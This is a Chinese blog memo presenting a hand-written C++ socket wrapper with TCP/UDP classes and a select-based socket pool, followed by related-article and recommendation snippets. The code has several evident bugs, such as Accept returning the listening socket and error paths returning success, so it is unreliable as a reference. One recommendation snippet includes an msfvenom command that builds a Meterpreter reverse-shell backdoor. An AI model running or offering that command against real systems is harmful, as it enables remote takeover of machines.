以下代码一部分来自于《网络多人游戏架构与编程》,

其它的都是我瞎写的。

备忘。

一个简单的Socket封装,没有做什么高级的操作(比如IO完成端口等等)。

  1 #pragma once
2
3 #include <iostream>
4 #include <memory>
5 #include <string>
6 #include <unordered_map>
7 #include <mutex>
8 #include <atomic>
9
10 #ifdef _WIN32
11 #include <WinSock2.h>
12 #include <Ws2tcpip.h>
13 #pragma comment(lib,"ws2_32.lib")
14
15 #else
16 //TODO:
17 //
18 #endif
19
20
21 #ifdef _WIN32
22 #define SocketLastError WSAGetLastError()
23 #else
24 #define SocketLastError errno
25 #endif // _WIN32
26
27
28 namespace Lunacia
29 {
30 enum SocketFamily
31 {
32 INET = AF_INET,
33 INET6 = AF_INET6
34 };
35
36 enum SocketProtocol
37 {
38 SP_TCP = IPPROTO_TCP,
39 SP_TCP_NODELAY = TCP_NODELAY,
40 SP_UDP = IPPROTO_UDP
41 };
42
43 template<class SockType, bool isDelay = true>
44 struct getproto
45 {
46 enum {
47 proto =
48 std::is_same<SockType, TCPSocket>::value && isDelay ? SocketProtocol::SP_TCP :
49 std::is_same<SockType, UDPSocket>::value ? SocketProtocol::SP_UDP :
50 std::is_same<SockType, TCPSocket>::value && !isDelay ? SocketProtocol::SP_TCP_NODELAY :
51 -1,
52
53 dataform =
54 std::is_same<SockType, TCPSocket>::value ? SOCK_STREAM:
55 std::is_same<SockType, UDPSocket>::value ? SOCK_DGRAM :
56 -1
57 };
58 };
59
60 //
61 class SocketAddress final
62 {
63 public:
64 SocketAddress()
65 {
66 }
67
68 public:
69 SocketAddress(unsigned int inAddress, unsigned int inPort, SocketFamily inFamily = INET)
70 {
71 if (inFamily != INET
72 && inFamily != INET6)
73 {
74 //TODO: inFamily Error.
75 //
76 return;
77 }
78 GetAsSockAddrIn()->sin_family = inFamily;
79 GetAsSockAddrIn()->sin_addr.S_un.S_addr = htonl(inAddress);
80 GetAsSockAddrIn()->sin_port = htons(inPort);
81 }
82
83 SocketAddress(const sockaddr& inSockAddr)
84 {
85 memcpy(&_sockaddr, &inSockAddr, sizeof(sockaddr));
86 }
87
88 size_t Size() const
89 {
90 return sizeof(sockaddr);
91 }
92
93 sockaddr& Get()
94 {
95 return _sockaddr;
96 }
97
98 const sockaddr& Get() const
99 {
100 return _sockaddr;
101 }
102
103 private:
104 sockaddr _sockaddr;
105 inline sockaddr_in* GetAsSockAddrIn()
106 {
107 return reinterpret_cast<sockaddr_in*>(&_sockaddr);
108 }
109 };
110 typedef std::shared_ptr<SocketAddress> PtrSocketAddress;
111
112 class SocketAddressFactory final
113 {
114 public:
115 static PtrSocketAddress CreateIPFromString(const std::string& inString, SocketFamily inFamily = INET)
116 {
117 auto pos = inString.find_last_of(':');
118
119 std::string host, service;
120 if (pos != std::string::npos)
121 {
122 host = inString.substr(0, pos);
123 service = inString.substr(pos + 1);
124 }
125 else
126 {
127 host = inString;
128 service = "0";
129 }
130
131 addrinfo hint;
132 memset(&hint, 0, sizeof(hint));
133 hint.ai_family = inFamily;
134
135 addrinfo* result = nullptr;
136 int err = getaddrinfo(host.c_str(), service.c_str(), &hint, &result);
137 if (err != 0)
138 {
139 if (result != nullptr) freeaddrinfo(result);
140 return nullptr;
141 }
142
143 while (!result->ai_addr && result->ai_next)
144 {
145 result = result->ai_next;
146 }
147
148 if (!result->ai_addr)
149 {
150 freeaddrinfo(result);
151 return nullptr;
152 }
153
154 auto toRet = std::make_shared<SocketAddress>(*result->ai_addr);
155
156 freeaddrinfo(result);
157
158 return toRet;
159 }
160 };
161
162 //Socket Base Class.
163 class LCSocket
164 {
165 public:
166 LCSocket():
167 _sock(INVALID_SOCKET),
168 _lastError(0)
169 {
170 }
171
172 LCSocket(SOCKET sock)
173 {
174 Close();
175 _sock = sock;
176 }
177
178 LCSocket(const SocketAddress & inSockaddr)
179 {
180 SetAddr(inSockaddr);
181 }
182
183 virtual ~LCSocket()
184 {
185 Close();
186 }
187
188 public:
189 virtual int Send(const void* inData, int inLength) = 0;
190 virtual int Receive(void* inBuffer, int inLength) = 0;
191
192 int Bind()
193 {
194 int err = bind(_sock, &_sockaddr.Get(), _sockaddr.Size());
195 if (err != 0)
196 {
197 SetLastError(SocketLastError);
198 LCSocket::ReportMessage("[Failed] LCSocket::Bind Failed! " + std::to_string(GetLastError()));
199 }
200 return NO_ERROR;
201 }
202
203 void SetAddr(const SocketAddress& inSockaddr)
204 {
205 memcpy(&_sockaddr, &inSockaddr, inSockaddr.Size());
206 }
207
208 void Close() noexcept
209 {
210 if (_sock == INVALID_SOCKET) return;
211
212 shutdown(_sock, 2/*Shutdown both send and receive operations. Liunx: SHUT_RDWR; Windows: SD_BOTH*/);
213 closesocket(_sock);
214 _sock = INVALID_SOCKET;
215 }
216
217 int SetBlockMode(bool isBlock)
218 {
219 #if _WIN32
220 unsigned long blockState = isBlock ? 0 : 1;
221 int result = ioctlsocket(_sock, FIONBIO, &blockState);
222
223 #else
224 int flags = fcntl(_sock, F_GETFL, 0);
225 flags = isBlock ? (flags & ~O_NONBLOCK) : (flags | O_NONBLOCK);
226
227 int result = fcntl(_sock, F_SETFL, flags);
228
229 #endif
230
231 if (result == SOCKET_ERROR)
232 {
233 SetLastError(SocketLastError);
234 LCSocket::ReportMessage("[Failed] LCSocket::SetBlockMode Failed! " + std::to_string(GetLastError()));
235 }
236
237 return NO_ERROR;
238 }
239
240 template<class SockType,
241 typename std::enable_if<std::is_base_of<LCSocket, SockType>::value, SockType>::type* = nullptr>
242 static std::shared_ptr<SockType> CreateSocket(SocketFamily inFamily = INET)
243 {
244 SOCKET sock = socket(inFamily, getproto<SockType>::dataform, getproto<SockType>::proto);
245 if (sock == INVALID_SOCKET)
246 {
247 LCSocket::ReportMessage("[Failed] LCSocket::CreateSocket Failed! ");
248 return nullptr;
249 }
250 return std::shared_ptr<SockType>(new SockType(sock));
251 }
252
253 static void ReportMessage(const std::string& msg)
254 {
255 std::cout << msg << std::endl;
256 }
257
258 inline void SetLastError(unsigned long err)
259 {
260 _lastError = err;
261 }
262
263 inline unsigned long GetLastError() const
264 {
265 return _lastError;
266 }
267
268 SOCKET Get()
269 {
270 return _sock;
271 }
272
273 protected:
274 SOCKET _sock;
275 unsigned long _lastError;
276 SocketAddress _sockaddr;
277 };
278
279 //UDP Socket.
280 class UDPSocket
281 :public LCSocket
282 {
283 public:
284 UDPSocket()
285 :LCSocket()
286 {
287 }
288
289 UDPSocket(const SocketAddress& inSockaddr)
290 :LCSocket(inSockaddr)
291 {
292
293 }
294
295 UDPSocket(SOCKET sock)
296 :LCSocket(sock)
297 {
298 }
299
300 ~UDPSocket()
301 {
302 Close();
303 }
304
305 public:
306 virtual int Send(const void* inData, int inLength)
307 {
308 int sendBytes = sendto(
309 _sock,
310 static_cast<const char*>(inData),
311 inLength,
312 0,
313 &_sockaddr.Get(),
314 _sockaddr.Size()
315 );
316
317 if (0 < sendBytes) return sendBytes;
318
319 SetLastError(SocketLastError);
320 LCSocket::ReportMessage("[Failed] UDPSocket::Send Failed!");
321 return 0;
322 }
323
324 virtual int Receive(void* inBuffer, int inLength)
325 {
326 SocketAddress outFrom;
327 return Receive(inBuffer, inLength, outFrom);
328 }
329
330 int Receive(void* inBuffer, int inLength, SocketAddress& outFrom)
331 {
332 int addrSize = outFrom.Size();
333 int readBytes = recvfrom(
334 _sock,
335 static_cast<char*>(inBuffer),
336 inLength,
337 0,
338 &outFrom.Get(),
339 &addrSize
340 );
341
342 if (readBytes > 0) return readBytes;
343
344 SetLastError(SocketLastError);
345 LCSocket::ReportMessage("[Failed] UDPSocket::Receive Failed! " + std::to_string(GetLastError()));
346 return 0;
347 }
348
349 };
350 typedef std::shared_ptr<UDPSocket> PtrUDPSocket;
351
352
353 //TCP Socket
354 class TCPSocket
355 : public LCSocket
356 {
357 public:
358 TCPSocket()
359 :LCSocket()
360 {
361 }
362
363 TCPSocket(const SocketAddress& inSockaddr)
364 :LCSocket(inSockaddr)
365 {
366 }
367
368 TCPSocket(SOCKET sock):
369 LCSocket(sock)
370 {
371 }
372
373 ~TCPSocket()
374 {
375 Close();
376 }
377
378 public:
379 //Client use it.
380 int Connect()
381 {
382 int err = connect(_sock, &_sockaddr.Get(), _sockaddr.Size());
383 if (err < 0)
384 {
385 SetLastError(SocketLastError);
386 LCSocket::ReportMessage("[Failed] TCPSocket::Connect Failed! " + std::to_string(GetLastError()));
387 }
388 return NO_ERROR;
389 }
390
391 int Listen(int inBackLog = 64)
392 {
393 int err = listen(_sock, inBackLog);
394 if (err < 0)
395 {
396 SetLastError(SocketLastError);
397 LCSocket::ReportMessage("[Failed] TCPSocket::Listen Failed! " + std::to_string(GetLastError()));
398 }
399 return NO_ERROR;
400 }
401
402 std::shared_ptr<TCPSocket> Accept(SocketAddress& outFromAddress)
403 {
404 int size = outFromAddress.Size();
405 SOCKET newSock = accept(_sock, &outFromAddress.Get(), &size);
406
407 if (newSock == INVALID_SOCKET)
408 {
409 SetLastError(SocketLastError);
410 LCSocket::ReportMessage("[Failed] TCPSocket::Accept Failed! " + std::to_string(GetLastError()));
411 }
412 return std::shared_ptr<TCPSocket>(new TCPSocket(_sock));
413 }
414
415 virtual int Send(const void* inData, int inLength)
416 {
417 int sendBytes = send(_sock, static_cast<const char*>(inData), inLength, 0);
418 if (sendBytes < 0)
419 {
420 SetLastError(SocketLastError);
421 LCSocket::ReportMessage("[Failed] TCPSocket::Send Failed! " + std::to_string(GetLastError()));
422 }
423 return sendBytes;
424 }
425
426 virtual int Receive(void* inBuffer, int inLength)
427 {
428 int recvBytes = recv(_sock, static_cast<char*>(inBuffer), inLength, 0);
429 if (0 > recvBytes)
430 {
431 SetLastError(SocketLastError);
432 LCSocket::ReportMessage("[Failed] TCPSocket::Receive Failed! " + std::to_string(GetLastError()));
433 }
434 return recvBytes;
435 }
436 };
437 typedef std::shared_ptr<TCPSocket> PtrTCPSocket;
438
439 };
440
441 template<class SockType>
442 class SocketPool final
443 {
444 private:
445 SocketPool()
446 {
447 _socks.reverse(100);
448 }
449
450 ~SocketPool()
451 {
452 Clear();
453 }
454
455 public:
456 static SocketPool<SockType>* Instance()
457 {
458
459 if (nullptr == _pInstance)
460 {
461 _mutex.lock();
462 if (nullptr == _pInstance)
463 {
464 _pInstance = new SocketPool<SockType>();
465 }
466 _mutex.unlock();
467 }
468
469 return _pInstance;
470 }
471
472 void Clear(bool isCloseSocket = true)
473 {
474 if (!isCloseSocket)
475 {
476 //TODO: Others Process.
477 //
478 return;
479 }
480
481 for (auto each : _socks)
482 {
483 each->Close();
484 }
485 }
486
487 int Add(std::shared_ptr<SockType> pSock)
488 {
489 if (nullptr == pSock)
490 {
491 return -1;
492 }
493 _socks.push_back(pSock);
494 return _socks.size() - 1;
495 }
496
497 bool Delete(int index)
498 {
499 if (index >= 0 && index < _socks.size())
500 {
501 _socks.erase(index);
502 }
503 return true;
504 }
505
506 int Delete(std::shared_ptr<SockType> pSock)
507 {
508 for (int i = 0; i < _socks.size(); ++i)
509 {
510 if (_socks[i] == pSock)
511 {
512 _socks.erase(_socks.begin() + i);
513 return i;
514 }
515 }
516 return -1;
517 }
518
519 std::shared_ptr<SockType> Get(int index)
520 {
521 if (index >= 0 && index < _socks.size())
522 {
523 return _socks[index];
524 }
525 return nullptr;
526 }
527
528 std::shared_ptr<SockType> operator[](int index)
529 {
530 return Get(index);
531 }
532
533 const std::vector<std::shared_ptr<SockType>>* const Get() const
534 {
535 return &_socks;
536 }
537
538 static fd_set* FillSetFromVec(
539 fd_set& outSet,
540 const std::vector<std::shared_ptr<SockType>>* inSocks
541 )
542 {
543 if (nullptr == inSocks)
544 {
545 return nullptr;
546 }
547
548 FD_ZERO(&outSet);
549 for (const std::shared_ptr<SockType>& sockEach : *inSocks)
550 {
551 FD_SET(sockEach->Get(), &outSet);
552 }
553 return &outSet;
554 }
555
556 static void FillVecFromSet(
557 std::vector<std::shared_ptr<SockType>>* outSocks,
558 const std::vector<std::shared_ptr<SockType>>* inSocks,
559 const fd_set& inSet
560 )
561 {
562 if (inSocks == nullptr || outSocks == nullptr)
563 {
564 return;
565 }
566
567 outSocks->clear();
568 for (const std::shared_ptr<SockType>& each : *inSocks)
569 {
570 if (FD_ISSET(each->Get(), &inSet))
571 {
572 outSocks->push_back(each);
573 }
574 }
575 }
576
577 static int Select(
578 const std::vector<std::shared_ptr<SockType>>* inReadSet,
579 std::vector<std::shared_ptr<SockType>>* outReadSet,
580
581 const std::vector<std::shared_ptr<SockType>>* inWriteSet,
582 std::vector<std::shared_ptr<SockType>>* outWriteSet,
583
584 const std::vector<std::shared_ptr<SockType>>* inExceptSet,
585 std::vector<std::shared_ptr<SockType>>* outExceptSet
586 )
587 {
588 fd_set read, write, except;
589
590 fd_set* pRead = FillSetFromVec(read, inReadSet);
591 fd_set* pWrite = FillSetFromVec(write, inWriteSet);
592 fd_set* pExcept = FillSetFromVec(except, inExceptSet);
593
594 int ret = select(0, pRead, pWrite, pExcept, nullptr);
595
596 if (ret > 0)
597 {
598 FillVecFromSet(outReadSet, inReadSet, read);
599 FillVecFromSet(outWriteSet, inWriteSet, write);
600 FillVecFromSet(outExceptSet, inExceptSet, except);
601 }
602
603 return ret;
604 }
605
606 int Count() const
607 {
608 return _socks.size();
609 }
610
611 private:
612 std::vector<std::shared_ptr<SockType>> _socks;
613
614 static SocketPool<SockType>* _pInstance = nullptr;
615 static std::mutex _mutex;
616 };

C++ Socket 简单封装的更多相关文章

  1. C# .NET Socket 简单实用框架,socket组件封装

    参考资料 https://www.cnblogs.com/coldairarrow/p/7501645.html 根据.NET Socket 简单实用框架进行了改造,这个代码对socket通信封装还是 ...

  2. MongoDB Python官方驱动 PyMongo 的简单封装

    最近,需要使用 Python 对 MongodB 做一些简单的操作,不想使用各种繁重的框架.出于可重用性的考虑,想对 MongoDB Python 官方驱动 PyMongo 做下简单封装,百度一如既往 ...

  3. .NET 跨平台RPC框架DotNettyRPC Web后台快速开发框架(.NET Core) EasyWcf------无需配置,无需引用,动态绑定,轻松使用 C# .NET 0配置使用Wcf(半成品) C# .NET Socket 简单实用框架 C# .NET 0命令行安装Windows服务程序

    .NET 跨平台RPC框架DotNettyRPC   DotNettyRPC 1.简介 DotNettyRPC是一个基于DotNetty的跨平台RPC框架,支持.NET45以及.NET Standar ...

  4. Python网络编程02 /基于TCP、UDP协议的socket简单的通信、字符串转bytes类型

    Python网络编程02 /基于TCP.UDP协议的socket简单的通信.字符串转bytes类型 目录 Python网络编程02 /基于TCP.UDP协议的socket简单的通信.字符串转bytes ...

  5. .NetCore简单封装基于IHttpClientFactory的HttpClient请求

    IHttpClientFactory是什么?为什么出现了IHttpClientFactory 一.IHttpClientFactory是什么? IHttpClientFactory是.netcore2 ...

  6. Android AsyncTask 深度理解、简单封装、任务队列分析、自定义线程池

    前言:由于最近在做SDK的功能,需要设计线程池.看了很多资料不知道从何开始着手,突然发现了AsyncTask有对线程池的封装,so,就拿它开刀,本文将从AsyncTask的基本用法,到简单的封装,再到 ...

  7. FMDB简单封装和使用

    工具:火狐浏览器+SQLite Manager插件 ; Xcode; FMDB库; 效果: 项目地址: https://github.com/sven713/PackFMDB 主要参考这两篇博客: 1 ...

  8. Android--Retrofit+RxJava的简单封装(三)

    1,继续接着上一篇的讲讲,话说如果像上一篇这样的话,那么我们每一次请求一个结构都要创建一堆的Retrofit对象,而且代码都是相同的,我们可以试试封装一下 先创建一个HttpMethods类,将Ret ...

  9. okhttp3 get post 简单封装

    最近打算在新项目中使用 okhttp3, 简单封装了一下异步 get post 因为 CallBack 也是在子线程中执行,所以用到了 Handler public class MyOkHttpCli ...

随机推荐

  1. Webpack 基石 tapable 揭秘

    Webpack 基于 tapable 构建了其复杂庞大的流程管理系统,基于 tapable 的架构不仅解耦了流程节点和流程的具体实现,还保证了 Webpack 强大的扩展能力:学习掌握tapable, ...

  2. freebsd root 登录 KDE SDDM

    sddm.conf 文件现在默认不会自动生成了.需要自己创建:ee /usr/local/etc/sddm.conf写入MinimumUid=0MaximumUid=00就是root用户.然后更改/u ...

  3. Jmeter 分布式架构和服务器性能监控解决方案

    在对项目做大并发性能测试时,常会碰到并发数比较大(比如需要支持10000并发),单台电脑的配置(CPU和内存)可能无法支持,这时可以使用Jmeter提供的分布式测试的功能来搭建分布式并发环境 . 一. ...

  4. IPFS挖矿硬盘满了会怎样?

    IPFS是一个互联网协议,对标现在的HTTP.所以,可以想见未来IPFS有多大的价值.所谓IPFS挖矿,是基于IPFS,挖的是filecoin,称其为filecoin挖矿倒是更为贴切.许多初接触IPF ...

  5. Azure Front Door(三)启用 Web Application Firewall (WAF) 保护Web 应用程序,拒绝恶意攻击

    一,引言 上一篇我们利用 Azure Front Door 为后端 VM 部署提供流量的负载均衡.因为是演示实例,也没有实际的后端实例代码,只有一个 "Index.html" 的静 ...

  6. > 与 < 差在哪?-- Shell十三问<第十一问>

    > 与 < 差在哪?-- Shell十三问<第十一问> 谈到 I/O redirection ,不妨先让我们认识一下 File Descriptor (FD) .程序的运算,在 ...

  7. AOE网与关键路径

    声明:图片及内容基于https://www.bilibili.com/video/BV1BZ4y1T7Yx?from=articleDetail 原理 AOE网 关键路径 数据结构 核心代码 Topo ...

  8. Ray Tracing in one Weekend 阅读笔记

    目录 一.创建Ray类,实现背景 二.加入一个球 三.让球的颜色和其法线信息相关 四.多种形状,多个碰撞体 五.封装相机类 六.抗锯齿 七.漫发射 八.抽象出材料类(编写metal类) 九.介质材料( ...

  9. Spring (二)SpringIoC和DI注解开发

    1.Spring配置数据源 1.1 数据源(连接池)的作用 数据源(连接池)是提高程序性能出现的 事先实例化数据源,初始化部分连接资源 使用连接资源时从数据源中获取 使用完毕后将连接资源归还给数据源 ...

  10. msf记录

    生成backdoor msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.133 LPORT=6666 -f exe >/ ...